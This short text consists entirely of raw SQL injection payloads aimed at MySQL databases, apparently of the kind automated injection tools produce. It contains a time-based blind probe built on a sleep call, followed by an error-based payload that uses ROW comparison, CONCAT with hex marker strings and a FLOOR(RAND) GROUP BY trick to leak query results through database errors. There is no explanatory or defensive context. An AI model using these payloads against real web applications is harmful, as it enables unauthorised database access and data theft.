(select(0)from(select(sleep(8.11)))v)/,(SELECT 4639 FROM (SELECT ROW(4639,6093)>(SELECT COUNT(*),CONCAT(0x7176786a71,(SELECT (ELT(4639=4639,1))),0x7170627671,FLOOR(RAND(0)*2))x FROM (SELECT 2581 UNION SELECT 7520 UNION SELECT 7421 UNION SELECT 8388)a GROUP BY x))s)